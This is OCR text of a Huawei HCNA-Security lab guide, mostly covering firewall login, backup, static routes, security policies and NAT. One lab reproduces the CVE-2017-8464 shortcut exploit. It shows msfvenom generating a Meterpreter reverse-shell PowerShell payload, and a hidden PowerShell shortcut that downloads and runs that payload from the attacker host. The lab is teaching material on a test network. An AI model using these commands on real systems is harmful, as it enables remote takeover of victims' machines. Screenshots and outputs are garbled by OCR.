Huawei B 1 = Current User: webuser ~ Commit Save Help About Change Password Logo
USGB330 - - n Fi8
Dashboard Monitor  Policy ~ Object  Network  System
Function Customization Refresh Interval Never v
Logs and Alarms System Resource
Alarm Infor ion System Log List Service Log List
Level Time Description
@ waming May 820180311525  OID 1.3.6.1.4.1.2011.5.25.191.3.1 configurations h
@ wanming May 82018 03:13:35  0ID1.3.6.1.4.1.2011.5 0|p 1.3.6.1.4.1.2011.5 25.191.3.1 configurations have
) been changed. The current change number is 28, the
@ Viaming May 82018030007 OID 13614120115 ¢i1onge joop count is 0, and the maximum number of
@ Waming May 8201803:08:01  OID 1.3.6.1.4.1.2011.5./2°01%S IS 4095.
@ waming May 82018 03:08:55  OID 1.3.6.1.4.1.2011.5.25.123.2.6 ARP detects IP
@ Waming May 82018 03:0853  OID 1.3.6.1.4.1.2011.5.25.123.2.6 ARP detects |P
@ Waming May 82018 03:08:47  OID 1.3.6.1.4.1.2011.5.25.123.2.6 ARP detects IP
@ waming May 82018 03:07:47  OID 1.3.6.1.4.1.2011.5.25.123.2.6 ARP detects IP .
Displaying 50
Device Information Online Real-Time Monitoring

CLI Console
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Remote Code Execution Vulnerability

2.1 Experiment Overview

2.1.1 About This Experiment

On June 13, 2017, Microsoft officially released a vulnerability bulletin numbered
CVE-2017-8464. The bulletin revealed that the Windows system has a high-risk vulnerability,
in that it can remotely execute arbitrary code when parsing shortcuts. Hackers can trigger this
vulnerability using USB flash drives or network sharing to take control of victims' Windows
systems, bringing high security risks.

This experiment aims to reproduce the vulnerability, demonstrate the specific attack process,
and learn how to fix the vulnerability and prevent attacks that exploit this vulnerability.

2.1.2 Objectives

®  Understand the hazards of remote code execution vulnerabilities.

®  Grasp the methods used to prevent attacks that exploit remote code execution
vulnerabilities.

2.1.3 Experiment Networking

Figure 2-1 Topology for the remote code execution vulnerability

Kali Target host

2.1.4 Experiment Planning

An enterprise needs to control the network access rights of user devices. The user devices are
allowed to access the Internet only after passing the 802.1X authentication.

The following table lists the experiment planning.
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Table 2-1 Device addresses

Device IP Address
Kali 172.21.7.104
Windows7 target host 172.21.7.107

2.2 Experiment Task Configuration

2.2.1 Configuration Roadmap

1.  Generate a reverse shell.

2.  Enable the Apache service.
3. Enable the exploit function.
4. Create the PowerShell file.

2.2.2 Configuration Procedure

Step 1 Generate a reverse shell.

Run Kali to generate a reverse shell based on PowerShell. Run the following command in
Kali:

root@kali:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=172.21.7.104
LPORT=4000 -f psh-reflection>/opt/test.psl

The file is generated successfully.

Copy the test.ps1 file to the /var/www/html directory.

Step 2 Enable the Apache service.
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Start the Apache service in Kali.

Use a browser on the target host to access http://172.21.25.105/test.ps1 and check whether the
access is successful.

I @ hitp://172.21.7104/test ps] - Windows Internet Explorer | I
@u-v [£] hitp://172.21.7104 test.ps] | &[4 x || £ 8ing L -
g Favontes | g5 @] Suggested Sites = @ | Web Slice Gallery =
@ hitp://172.21.7 104 /test.psl fi - B ~ = & v Page~ Safetyv Tools~ @~

function wQ2k32TYbISF { Param (ShKlumkE870, $qz3Q0Xs) Su9LySrrA9 =

([AppDomain]:-CurrentDomain GetAssemblies() | Where-Object { 5_.GlobalAssemblyCache -And §_ Location. Split(""\")
[-1].Equals('System.dll’) }).GetTvpe(Microsoft. Win3 2 UnsafeNativeMethods") return SuSLvSmrA9  GetMethod
(GetProcAddress"). Invoke(Snull, (@([System Runtime InteropServices HandleRef)(New-Object

Svstem Runtime. InteropServices HandleRef((INew-Object IntPtr), (Su9LySrrA9  GetMethod

(GetModuleHandle")). Invoke(Snull, @ (ShKLmkES70)))). $qz3Q0Xs)) } finction dwRO { Param ( [Parameter(Position =
0. Mandatory = $True)] [Type[]] SaXta, [Parameter(Position = 1)] [Type] SgHcFIsNL4rZ = [Void] ) SqIK9WBfd =
[AppDomain]-CurrentDomain DefineDynamic Assembly({INew-Object System Reflection AssemblyName
(ReflectedDelegate')). [System Reflection Emit AssemblyBuilderAccess]-Run) DefineDynamicModule(' InMemoryModule',

Step 3 Enable the exploit function.

Start the MSF software in Kali.
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Step 4 Create a PowerShell file.

Create a shortcut on the target host. Enter powershell -windowstyle hidden -exec bypass -c
"IEX (New-Object
Net.WebClient).DownloadString("http://172.21.7.104/test.ps1");good.ps1" as the location
of the item.

=

tor) = Create Shortcut
What item would you like to create a shortcut for?

This wizard helps you to create shortcuts to local or network programs, files, folders, computers, or
Internet addresses,

Type the location of the item:
ect Net. WebClient).DownloadString('http://172.21.7.104 /test. ps1");good.psl Browse...

Click Mext to continue.

Mext l[ Cancel
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@ #  Create Shortcut

What would you like to name the shortcut?

Type a name for this shortcut:

hau:u:lu:ungxi|

Click Finish to create the shortcut,

Finish ][ Cancel

Double-click the shell file on the desktop.

&

Recycle Bin

On the Kali, you can see that the shell of the target host has been obtained.

2018-07-04 17:05:16 +0800

Run the sysinfo command to query information about the target host.
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6.1. 1

t Corporation. All rights

windowsPower shel 1wl 0=

with
0.11:
0.11:
0.11:
0.11:

1

——End

2.3 Methods for Preventing the Exploitation of
Vulnerabilities
Install antivirus software.

Enhance security awareness, and do not open files sent from strangers.

Install the latest patch in a timely manner.
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Basic Firewall Configurations

3.1 Experiment Overview

3.1.1 About This Experiment

Get familiar with basic configurations and operations on firewalls.

3.1.2 Objectives

®  Name firewalls.
®  Set the system time.

®  Back up and restore configuration files.

3.1.3 Experiment Networking

Figure 3-1 Topology for basic firewall configurations

PC Firewall
Ethernet port

D- o GE1/0/1 [EFTIN
o T IS
;|

Network cable

3.1.4 Experiment Planning

An administrator logs in to the firewall in various ways and configures the host name and
time of the firewall as well as back up and restore the configuration file of the firewall.
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3 Basic Firewall Configurations

Table 3-1 Device ports and parameters

Device Port Port Type
PC — Ethernet port
Firewall — Depending on the login mode

3.1.5 Experiment Tasks

Task

Description

Log in to the firewall.

Log in to the firewall, for example,
through the default web mode.

Perform basic configurations on
the firewall.

Basic firewall configurations include
naming the firewall, setting the system
time, backing up and restoring the
configuration.

The configuration file should be
backed up to prevent configuration
loss.

To restore the configuration file,
upload it from the local PC to the
firewall.

3.2 Experiment Task Configuration

3.2.1 Configuration Roadmap

1. Login to the firewall.

Set a host name for the firewall.

2
3. Set the system time of the firewall.
4

Back up and restore the firewall's configuration file.

3.2.2 Configuration Procedure on the CLI

Step1 Log in to the firewall, for example, through the console port, Telnet, or SSH. For details, see

experiment 1.

Step 2 Establish the connection, power on all devices, and ensure that they run properly.

Step 3 Set a host name for the firewall.

<USG> system-view
[USG] sysname USG_A

Step 4 Set the system time.
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<USG_A> clock datetime 0:0:0 2009-01-01
<USG_A> clock timezone BJ add 08:00:00 (optional)

[L] noTE

If the default UTC time zone is GMT, you can add 8 hours to get Beijing's time zone, which is GMT +8.

Step 5 Back up and restore the configuration file. You can use the FTP file transfer function to back
up and restore the configuration file.

Configure the firewall as the FTP server.

1. Set the IP address of the firewall port GE1/0/1 to 10.1.2.1/24, add the port to the trust
zone, and set a packet filtering rule to permit FTP packets. (Note: Security policies are
described in subsequent sections.)

[USG_A] security-policy

[USG_A-policy-security] rule name FTP_backup
[USG_A-policy-security-rule-FTP backup] source-zone trust
[USG_A-policy-security-rule-FTP backup] destination-zone local
[USG_A-policy-security-rule-FTP backup] service ftp
[USG_A-policy-security-rule-FTP backup] action permit

2. Enable FTP and configure the FTP user name, password, and FTP path.

<USG_A> system-view

[USG_A] ftp server enable

Info:Start FTP server

[USG_A] aaa

[USG_A-aaa] manager-user ftpuser
[USG_A-aaa-manager-user-ftpuser] service-type ftp
[USG_A-aaa-manager-user-ftpuser] password cipher Ftppass#
[USG_A-aaa-manager-user-ftpuser] level 3
[USG_A-aaa-manager-user-ftpuser] ftp-directory hdal:/

Run the ftp command on the PC to log in to the firewall.

Backup: Run the get command to download the file to the PC. In this example, the
Windows operating system is installed on the PC. Choose Start > Run, enter cmd, and
click OK.

C:\Documents and Settings\Administrator> ftp 10.1.2.1
Connected to 10.1.2.1

220 FTP service ready.

User (10.1.2.1:(none)): ftpuser

331 Password required for ftpuser.

Password:

230 User logged in.

ftp> get vrpcfg.zip

200 Port command okay.

150 Opening ASCII mode data connection for vrpcfg.zip.
226 Transfer complete.

ftp: 5203 bytes received in 0.01Seconds 346.87Kbytes/sec.
ftp> lcd

Local directory now C:\Documents and Settings\Administrator.

Restoration: Run the put command to upload the file to be restored to the firewall.

ftp> put vrpcfg.zip

200 Port command okay.

150 Opening ASCII mode data connection for vrpcfg.zip.
226 Transfer complete.

ftp: 5203 bytes sent in 0.00Seconds 5203000.00Kbytes/sec.
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Configure the startup configuration file on the firewall.

<USG_A > startup saved-configuration vrpcfg.zip

——End

3.2.3 Configuration Procedure on the Web Ul

Step 1 Establish the connection, power on all devices, and ensure that they run properly.
Step 2 Log in to the device through the web UL
Step 3 Set a host name for the firewall.

Choose Dashboard > System Information and click Modify on the line of Device Name.

Huawei - — B o
useeazo (V) Is 5 u e 8 =

HUAWEI

Dashboard Monitor Policy Object  Network  System

F&] Function Customization

el System Information |

SN: 210235951210H7000008

Version: USG6300 V500R001C80SPC100 [Upgrade]
Device Name: USG6300 e [ adify]
System Time: 2018-05-08 3:16:59 [Modify]
Running Duration: 0 weeks 6 days 2 hours 3 minutes

Fan: Norma

Device Temperature: Mormal [Details]

Power Supply/Module Status: Mormal (in slot 5)

Hot Standby: Single Device [Configure]
Virtual System: @ [Configure]
IPv6: @ [Configure]

- -

Step 4 Set the system time.

Choose System > Setup > System Time.
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*  Huawei

wuawer USGB330

B Setup

B Across-Layer-3 MAC
§ DS Interworking

¥ CIS Interworking

=g Restart

(=) Configure Informatio
= Sandbox

[ Advanced Settings

[H =) " &u@@

Dashboard Monitor Policy Object  Networ System
System Time

Configuration Mode Manual -

Time Zone GMT: London, Dublin, Edinburgh, [«

Dale 2018/05/08 ] g

System Time 03:1%:30 2

Automatically Adjust for Daylight Saving Time (DST)

Apply | Refresh

Step 5 Back up and restore the configuration file.

Back up the configuration file.

1. Choose System > Configuration File Management. Click Select. The Manage
Configuration File dialog box is displayed.

*  Huawei

wuawer  USGB330

B Setup
(L) System Time
I3sMmP
B Across-Layer-3 MAC
1§ IDS Interworking
g CIS Interworking
=g Restart
(=) Configure Informatio
[= sandbox
& Advanced Settings
/* Charset Configuratic
= Administrator
25 Virtual System
@ High Availability
'S Agile Network ConfigL
(g Email Service Config
f#] Log Configuration
[E’ License Management
=g Update Center
=F System Upgrade

e Configuration File M

'= . E I: @ El Current Usel
Networl

Dashboard Monitor Policy Object System

Configuration File

Configuration File in Use hda1:/vrpcfo.zip Restore Factory Settings

Configuration File upon Next Startup hdat:ivrpcig.zip e

Current Configuration

[ Export Ef] Compare [ Save

2018-05-08 03:20:12.510

1Software Version V500R001CE80SPC100

#

sysname USGE6300

#

[2tp domain sufiix-separator @

#

authentication-profile name portal_authen_default

#

2. Click the Download icon corresponding to the configuration file to be backed up.
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Manage Configuration File ? X
[ Upload $§ Delete i Refresh
File Name File Size (Byte) Time of Last Modification State Edit Download

hda1:/vrpcfg.zip 1,004 2018/04/05 09:19:50 Configuration File in Use g

L) noTE

&'l indicates that the configuration file is in use. Click & to download the configuration file to the
local PC.)

Restore the configuration file.

3. Click Upload. The Upload File page is displayed. Click Browse, select the local
configuration file, and click OK. The file is uploaded to the firewall.

Manage Configuration File 2
[ Upload |38 Delete i Refresh
File Name File Size (Byte) Time of Last Modification State Edit Download
hda1:/vrpcig.zip 1,994 2018/04/05 09:19:50 Configuration File in Use & @
Upload File T
$hdat Total1,187 140 KB Free: 250,536 KB
File Browse...
Import Cancel

4.  Use the previous configuration file for the next startup.

Click ﬂ) on the line of the uploaded file. The icon changes to [l
5. Restart the firewall to make the configuration file take effect.
Choose System > Setup > Restart to restart the firewall.

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 44

https://t.me/learningnets



HCNA-Security

Experiment Guide for Network Security Engineers

3 Basic Firewall Configurations

*  Huawei

U5G6330

HUAWEL

B3 Setup
(&) System Time
T2 sNMP
. Across-Layer-3 MAC
3 IDS Interworking
g CIS Interworking

1
e =@Restart

|
(=) Configure Informatio

——End

3.3 Verification

= [

Dashboard Monitor

Policy
Configuration File

Configuration File in Use

Configuration File upon Next Startup hdat:ivrpcia.zip

Current Configuration

(& Export ] Compare [H] Save

3
: Ag =
Object Networl System

hda1:/vrpcfg.zip

Current Use

Restore Factory Settings

Select

Choose System > Configuration File Management to view the configuration file for the

next startup.

Huawei
USGB330

B3 Setup
(L) System Time
I3sMMP
B Across-Layer-3 MAC
1§ IDS Interworking
g CIS Interworking
=g Restart
(=) Configure Informatio
[= sandbox
& Advanced Settings
/* Charset Configuratic
® Administrator
g Virtual System
@ High Availability
'S Agile Network ConfigL
(g Email Service Config
[#] Log Configuration

=

% License Management

=g Update Center

onfiguration File M

&

Netwo'

B "s

Policy Object

Dashboard Monitor
Configuration File

Configuration File in Use hda:ivrpcio.zip

I Configuration File upon Next Startup Ie

hda1:fvrpcfg.zip

Current Configuration

[ Export B[] Compare [H Save

2018-05-08 03:20:12.510

1Software Version V500R001CE80SPC100

#

sysname USGE6300

#

[2tp domain sufiix-separator @

#

authentication-profile name portal_authen_default

#

=

System

Current Use

Restore Factory Settings

Select
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Basic Network Configurations

4.1 Experiment Overview

4.1.1 About This Experiment

This experiment describes how to configure static routes to understand basic network
configuration methods.

4.1.2 Objectives

®  Understand the meaning of routes.

®  Master the configuration of static routes.

4.1.3 Experiment Networking

Figure 4-1 Topology for basic network configurations

R1 GE1/0/1 GE1/0/1 R2
10.1.1.1/24 10.1.1.2/24 .:
EO/0/M1 GEO0/0/1
10.1.2.1/24 10.1.3.1/24

(T <]}

10.1.2.100/24 10.1.3.100/24

Network cable

Issue 3.0 Copyright © Huawei Technologies Co., Ltd. 46

https://t.me/learningnets



HCNA-Security
Experiment Guide for Network Security Engineers 4 Basic Network Configurations

4.1.4 Experiment Planning

Two routers are connected and each router connects to a host. It is required that the hosts be
able to communicate with each other.

Table 4-1 IP address design

Device Port IP Address
R1 GE1/0/1 10.1.1.1/24
GE1/0/2 10.1.2.1/24
R2 GE1/0/1 10.1.1.2/24
GE1/0/2 10.1.3.1/24
PC1 Eth0/0/1 10.1.2.100/24
PC2 Eth0/0/1 10.1.3.100/24

4.1.5 Experiment Tasks

No. Task Description
1 Configure basic device Configure an IP address for each router and PC.
information.
2 Configure static routes. Configure static routes for communication
between PC1 and PC2.

4.2 Experiment Task Configuration

4.2.1 Configuration Roadmap

1. Configure IP addresses for the routers and PCs.
2. Configure static routes.

3. Test communication between the PCs.

4.2.2 Configuration Procedure

Step 1 Configure an IP address for each involved interface (GE0/0/1 on R1 is used as an example).

<Huawei> system-view

[Huawei] sysname R1

[R1] GigabitEthernetl/0/1

[R1-GigabitEthernetl/0/1] ip address 10.1.1.1 255.255.255.0

Step 2 Configure static routes.
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Configure a static route to PC2 on R1.

[R1]

ip route-static 10.1.3.0 24 10.1.1.2

Configure a static route to PC1 on R2.

[R2]

ip route-static 10.1.2.0 24 10.1.1.1

——End

4.3 Verification

Configure an IP address for each PC.

Ping PC2 on PC1. If the following information is displayed, the configuration is successful.

PC> ping 10.1.3.1

Ping
From
From
From
From

From

10.
10.
10.
10.
10.
10.

[ S e = N S

w W W w w w

[ e S S S SR

32 data
bytes=32
bytes=32
bytes=32
bytes=32
bytes=32

bytes,
seg=1
seqg=2
seqgq=3
seq=4
seqg=5

Press Ctrl C to

ttl=254
ttl=254
ttl=254
ttl=254
ttl=254

--- 10.1.3.1 ping statistics ---

5 packet (s)
5 packet (s)

received

0.00% packet loss

round-trip min/avg/max = 47/59/78 ms

transmitted

time=78
time=47
time=47
time=78
time=47

break

ms

ms

ms

ms

ms

Ping PC1 on PC2. If the following information is displayed, the configuration is successful.

PC> ping 10.1.2.100

Ping
From
From
From
From

From

10.
10.
10.
10.
10.
10.

[ S S =S SR
NN

.100:
.100:
.100:
.100:
.100:
.100:

bytes=

bytes=
bytes=
bytes=

32 data bytes,
bytes=32 seqg=1
32 seqg=2
32 seqg=3
32 seqg=4

32 seqg=

--- 10.1.2.100 ping statistics ---

5 packet (s)
5 packet (s)

transmitted

received

0.00% packet loss

round-trip min/avg/max = 63/90/140 ms

4.4 Configuration Reference

4.4.1 R1 Configuration

#

sysname R1

Press Ctrl C to
ttl=126
ttl=126
ttl=126
ttl=126
5 ttl=126

time=63
time=94
time=78

break
ms
ms

ms

time=140 ms
time=78 ms
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#

interface GigabitEthernet0/0/1

ip address 10.1.1.1 255.255.255.0

#

interface GigabitEthernet0/0/2

ip address 10.1.2.1 255.255.255.0

#

ip route-static 10.1.3.0 255.255.255.0 10.1.1.2
#

4.4.2 R2 Configuration

#

sysname R2

#

interface GigabitEthernet0/0/1

ip address 10.1.1.2 255.255.255.0
#

interface GigabitEthernet0/0/2

ip address 10.1.2.1 255.255.255.0
#

ip route-static 10.1.2.0 255.255.255.0 10.1.1.1
#

4.5 Question

If the routers are replaced by firewalls, how can firewalls be configured for network
communication?
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Firewall Security Policies

5.1 Experiment Overview

5.1.1 About This Experiment

Security policies can be deployed on a firewall to ensure that the Trust zone can proactively
access the Untrust zone.

5.1.2 Objectives

®  Understand the security policy mechanism.
®  Understand the relationships between security zones.

®  Configure firewall security policies on the CLI and web UL

5.1.3 Experiment Networking

Figure 5-1 Topology for configuring firewall security policies
USG6330-1

10121 40111
G1/01 G1/0/4

10.1.2.100 E0/0/5 40.1.1.100
Dj E0/0/ E0/0/ E0/0/2 Dj
PC1 S$3700-1 S$3700-2 PC2

5.1.4 Experiment Planning

A security device USG is deployed on a service node. The upstream and downstream devices
of the USG are both switches, and the downstream service interface of the USG works at
Layer 3.
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Table 5-1 Port addresses and zones

Device Port IP Address Zone
Name
USG6330- | G1/0/1 10.1.2.1 Trust
: G1/0/4 40.1.1.1 Untrust
PC1 E0/0/1 10.1.2.100 Trust
PC2 E0/0/1 40.1.1.100 Untrust
5.1.5 Experiment Tasks
No. Task Subtask Description
1 Complete basic Configure security | Add interfaces to security zones.
configurations. Zones.

Configure a
security policy.

Permit the packets from the Trust
zone to the Untrust zone.

5.2 Experiment Task Configuration

5.2.1 Configuration Roadmap

1. Configure IP addresses for interfaces and add the interfaces to security zones.

2. Configure an interzone security policy.

5.2.2 Configuration Procedure on the CLI

Step1 Complete the configurations of the upstream and downstream service interfaces on the USG.
Configure IP addresses for the interfaces and add the interfaces to security zones.

<USG> system-view
[USG]sysname USG_A

[USG_A] interface GigabitEthernet 1/0/1

[USG_A-GigabitEthernetl/0/1] ip address

[USG_A-GigabitEthernetl/0/1] quit
[USG_A] interface GigabitEthernet 1/0/4

[USG_A-GigabitEthernetl/0/4] ip address

[USG_A-GigabitEthernet1/0/4] quit

[USG_A] firewall zone trust

10.1.2.1 255.255.255.0

40.1.1.1 255.255.255.0

[USG_A-zone-trust] add interface GigabitEthernet 1/0/1

[USG_A-zone-trust] quit
[USG_A] firewall zone untrust

[USG_A-zone-untrust] add interface GigabitEthernet 1/0/4

[USG_A-zone-untrust] quit
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Step 2 Configure a security policy to permit packets from the Trust zone to the Untrust zone.

[USG_A] security-policy

[USG_A-policy-security] rule name policy sec
[USG_A-policy-security-rule-policy sec] source-zone trust
[USG_A-policy-security-rule-policy sec] destination-zone untrust
[USG_A-policy-security-rule-policy sec] action permit

[USG_A-policy-security-rule-policy sec] quit
Step 3 Configure the switches.

Add the two interfaces of each switch to the same VLAN (default VLAN). For configuration
commands, refer to the relevant switch documents.

—End

5.2.3 Configuration Procedure on the Web Ul

Step 1 Configure interfaces on the USG.

Choose Network > Interface. Click E next to the interface to be configured. Set
parameters, and then click OK. The following figure shows the configuration of
GigabitEthernet1/0/1.

Modify GigabitEthernet Interface ? X

Interface Name

Alias

Virtual System(z) public >

Mode ® Routing Switching Bypass Interface Pair
IPv4 IPvG
Connection Type e StaticIP DHCP FFPoE

IP Address 10.2.1.1/24 Enter each IP address on a separate line
For example:

"1.1.1.1/255.255 .255.0"
111724

Default Gateway
Primary DN Server(2)

Secondary DNS Server(3)

The configuration of GigabitEthernet1/0/4 is similar.
Step 2 Configure the interzone forwarding policy on the USG.

Choose Policy > Security Policy > Security Policy. Click Add. Set the parameters one by
one. Click OK. The following figure shows the forwarding policy that permits packets from
the Trust zone to the Untrust zone.
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Add Security Policy ? X
Name policy_sec * o
Description
Policy Group -- NONE —- hod
Tag Select or enter a tag
Source Zone trust | |[Multiple]
Destination Zone untrust| || [Multiple]
Source Address/Region(z) Select or enter an address
Destination Address/Region(3) Select or enter an address
User(z) Select or enter a user name [Multiple]
Access Mode(3) Select an access mode
Device(z) Select or enter a device
Service(z) Select or enter a senvice.
Application Select or enter an application. [Multiple]
Specifying application will automatically enable the SA
function. This function reduces system performance
URL Category Select or enter a url category. [Multiple]
Schedule Select a fime range. v
Action Deny -
Security Policy List
< Add Security Policy <= Add Security Policy Group 3 Delete [FCopy $ Move~ [Blinsert [SyExport W] Reset All Statistics = Enable [ Disable [® Customize TS Expand EE Collapse B Refresh
@& Enter a keyword O Add Filter ®
Index | Name Descrip... Tag Source ... Destina... Source. Destina... User Service Applica...  Schedule  Action Content... Hits  Enable Edit
1 policy_sec Strust untrust  any any any any any any Permit 0 Reset T4 73
-—End

5.3 Verification

5.3.1 Checking the Ping Result and Firewall Session Table

Run the ping 40.1.1.100 command on PC1 to check whether PC1 can ping through PC2.

PC> ping 40.1.1.100

Ping 40.1.1.100: 32 data bytes,
From 40.1.1.100: bytes=32 seg=1
From 40.1.1.100: bytes=32 seg=2
From 40.1.1.100: bytes=32 seqg=3
From 40.1.1.100: bytes=32 seg=4
From 40.1.1.100: bytes=32 seg=5

Press Ctrl C to break

ttl=127
ttl=127
ttl=127
ttl=127
ttl=127

--- 40.1.1.100 ping statistics ---

5 packet(s) transmitted
5 packet(s) received
0.00% packet loss

round-trip min/avg/max = 0/12/16 ms

time=16 ms
time=16 ms
time=15 ms
time<l ms

time=16 ms
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Run the display firewall session table command to view the session table of the firewall.

[USG_A] display firewall session table
Current Total Sessions : 5

icmp VPN: public --> public 10.1.2.100:
icmp VPN: public --> public 10.1.2.100:
icmp VPN: public --> public 10.1.2.100:
icmp VPN: public --> public 10.1.2.100:
icmp VPN: public --> public 10.1.2.100:

5.4 Question

On the basis of this experiment, try to use PC2 to access PC1 and explain why the ping

operation fails.

49569
50081
49057
49313
49825

40.
40.
40.
40.
40.

[ R R Sy

[ S S S

.100:
.100:
.100:
.100:
.100:

2048
2048
2048
2048
2048
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Firewall NAT Server & Source NAT

6.1 Experiment Overview

6.1.1 About This Experiment

After NAT is configured on the firewall connecting an intranet to the Internet, multiple users
on the intranet can access the Internet at the same time by using a small number of public IP
addresses. In addition, users on the Internet can access the intranet server through specific IP
addresses.

6.1.2 Objectives

®  Understand the application scenario and mechanism of Source NAT.
®  Understand the application scenario and mechanism of NAT Server.
®  Configure NAT Server and Source NAT on the CLI and web UL

6.1.3 Experiment Networking

Figure 6-1 Topology for configuring NAT Server and Source NAT on a firewall
10.1.1.100
Dj Server 1
EUEB

10.1.1.1
G1/0/0

10.1.2.1 40111
G1/0/1 NG04

10.12.100 om/ USGGsao"Nﬂws 40.1.1.100
Dj—El]ﬂ]ﬁ EO;'OM@ @Eoﬂ]ﬂ E0/0/2— Dj

PC1 S3700-1 S3700-2 PC2
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6.1.4 Experiment Planning

A security device USG is deployed on a service node. The upstream and downstream devices
of the USG are switches.

Table 6-1 Port addresses and zones

Device Name Port IP Address Zone
USG6330-1 G1/0/0 10.1.1.1 DMZ
G1/0/1 10.1.2.1 Trust
G1/0/4 40.1.1.1 Untrust
PC1 E0/0/1 10.1.2.100 Trust
PC2 E0/0/1 40.1.1.100 Untrust
Server E0/0/1 10.1.1.100 DMZ

6.1.5 Experiment Tasks

No. Task Subtask Description
1 Complete basic Configure security | Add interfaces to security zones.
configurations. Zones.
Configure a Permit the packets from the Trust
security policy. zone to the Untrust zone.
2 Configure Source | Configure a NAT Create a public address pool.
NAT. address pool.
Configure a NAT Configure a NAT policy for packets
policy. from the Trust zone to the Untrust
zone.

6.2 Experiment Task Configuration (Source NAT)
6.2.1 Configuration Roadmap

1. Configure IP addresses for interfaces and add the interfaces to security zones. Configure
a security policy to permit packets from the Trust zone to the Untrust zone.
2. Create a NAT address pool.

Configure a NAT policy.
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6.2.2 Configuration Procedure on the CLI

Step1 Complete the configuration of the upstream and downstream service interfaces on the USG.
Configure IP addresses for the interfaces and add the interfaces to security zones.

<USG> system-view

[USG] sysname USG6330-1

[USG6330-1] interface GigabitEthernet 1/0/1
[USG6330-1-GigabitEthernetl1/0/1] ip address 10.1.2.1 255.255.255.0
[USG6330-1-GigabitEthernetl1/0/1] quit

[USG6330-1] interface GigabitEthernet 1/0/4
[USG6330-1-GigabitEthernetl1/0/4] ip address 40.1.1.1 255.255.255.0
[USG6330-1-GigabitEthernetl1/0/4] quit

[USG6330-1] firewall zone trust

[USG6330-1-zone-trust] add interface GigabitEthernet 1/0/1
[USG6330-1-zone-trust] quit

[USG6330-1] firewall zone untrust

[USG6330-1-zone-untrust] add interface GigabitEthernet 1/0/4
[USG6330-1-zone-untrust] quit

Step 2 Configure a security policy to permit packets from the Trust zone to the Untrust zone.

[USG6330-1] security-policy

[USG6330-1-policy-security] rule name policy sec
[USG6330-1-policy-security-rule-policy sec] source-zone trust
[USG6330-1-policy-security-rule-policy sec] destination-zone untrust
[USG6330-1-policy-security-rule-policy sec] action permit
[USG6330-1-policy-security-rule-policy sec] quit

Step 3 Configure a NAT address pool and set the public address range to 2.2.2.2-2.2.2.5.

[USG6330-1] nat address-group natpool
[USG6330-1-address—-group-natpool] section 2.2.2.2 2.2.2.5

Step 4 Configure a NAT policy.

[USG6330-1] nat-policy

[USG6330-1-policy-nat] rule name source nat
[USG6330-1-policy-nat-rule-source nat] destination-zone untrust
[USG6330-1-policy-nat-rule-source nat] source-zone trust

[USG6330-1-policy-nat-rule-source nat] action nat address-group natpool
Step 5 Configure the switches.

Add the three interfaces of each switch to the same VLAN (default VLAN). For configuration
commands, refer to the relevant switch documents.

——End

6.2.3 Configuration Procedure on the Web Ul

Step 1 Configure interfaces on the USG.

Choose Network > Interface. Click = next to the interface to be configured. Set

parameters, and then click OK. The following figure shows the configuration of
GigabitEthernet1/0/1.
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Modify GigabitEthernet Interface ? X

Interface Name GigabitEthernet

Alias
Virtual System(?) public w|*
Mode ® Routing Switching Bypass Interface Pair
IPv4 IPvG
Connection Type e StaticIP DHCP FFPoE
IP Address 10.2.1.1/24 Enter each IP address on a separate line.
For example:
"1.1.1.1/255.255.255.0"
"1.1.1.1024"

Default Gateway
Primary DNS Server(2)

Secondary DNS Server(z)

The configuration of GigabitEthernet1/0/4 is similar.

Step 2 Configure a security policy on the USG to permit packets from the Trust zone to the Untrust
zone.

Choose Policy > Security Policy > Security Policy. Click Add. Set the parameters one by
one. Click OK. The following figure shows the security policy that permits packets from the
Trust zone to the Untrust zone.

Add Security Policy ? X
Name policy_sec : -
Description
Policy Group -- NOME - w
Tag Select or enter a tag.
Source Zone trust || [Muttiple]
Destination Zone untrust| || [Multiple]
Source Address/Region(?) Select or enter an address
Destination Address/Region(?) Select or enter an address
User(?) Select or enter a user name. [Multiple]
Access Mode(?) Select an access mode.
Device(?) Select or enter a device.
Service(?) Select or enter a service.
Application Select or enter an application. [Multiple]

Specifying application will automatically enable the SA
function. This function reduces system performance

URL Category Select or enter a url category. [Multiple]

Schedule Select a fime range. w
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Security Policy List

< Add Security Policy <= Add Security Policy Group 3 Delete [FCopy $ Move~ [Blinsert [SyExport W] Reset All Statistics = Enable [ Disable [® Customize TS Expand EE Collapse B Refresh
@, Enter a keyword O Add Filter

®

Index | Name Descrip... Tag Source ... Destina... Source... Destina... User Service Applica...  Schedule  Action Content... Hits  Enable Edit

1 policy_sec Strust @yntryst  any any any any any any Permit 0 Reset 1 @

Step 3 Configure a NAT address pool. The public IP addresses range from 2.2.2.2 t0 2.2.2.5.
Choose Firewall > NAT > Source NAT. Click the Source Translation Address Pool tab.

Click '=ll}" The following figure shows the configuration. After the configuration is complete,

click OK.
Add Source Translation Address Pool T X
Mame natpool
IP Address Range 22222225
Enter each IP address or range on a separate line.
For example:
192 168.10.10-192 168.10.20
192 168.10.30
Health Checkiz) Select a health check item v Configure]
Configure Black-Hole Route s
PAT
*| Advanced
oK Cancel

Step 4 Configure a NAT policy.

Choose Policy > NAT Policy > Source NAT. Click the Source NAT tab. In Source NAT
Policy List, click s Set the parameters shown in the following figure and click OK.
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Add NAT Policy

[Show Overview]

Mame source_nat

Description

Tag Select or enter a tag

NAT Type & MNAT

NAT Mode Source address translation
Schedule Sel

ect a time range.

Original Data Packet

Source Zong untrust

Destination Type ® Desfination Zpne
untrust

Source Address(?) Select or enter an address

Destination Address(?) Select or enter an address

Service(® Select or enter a service

Translated Data Packet

Source Address Translated To Cutbound Interface

Source Translation Address Pool | natpool

Mote: To ensure that the device can properly forward NAT service

——End

6.3 Verification

NATG4

w [Multiple

Outbound Interface
[Multiple]

e

# |F Addresses in the IP Address Pool

e

traffic, configure a security policy. [Add Security Policy]

6.3.1 Checking the Ping Result and Firewall Session Table

Ping PC2 from PCI1.

PC> ping 40.1.1.100

40.
40.
40.
40.
40.
40.

.100:
.100:
.100:
.100:
.100:
.100:

Press Ct
ttl=127
ttl=127
ttl=127
ttl=127
ttl=127

Ping 32 data bytes,

From bytes=32 seqg=1
From bytes=32 seqg=2
From bytes=32 seqg=3

From bytes=32 seqg=4

[ S e = N SR
[ e S S SR SR

From bytes=32 seg=5
--- 40.1.1.100 ping statistics ---
5
5
0

round-trip min/avg/max

packet (s) transmitted

packet (s) received
.00% packet loss

0/12/16 ms

rl C to break
time=16 ms
time=16 ms
time<l ms
time=15 ms

time=16 ms

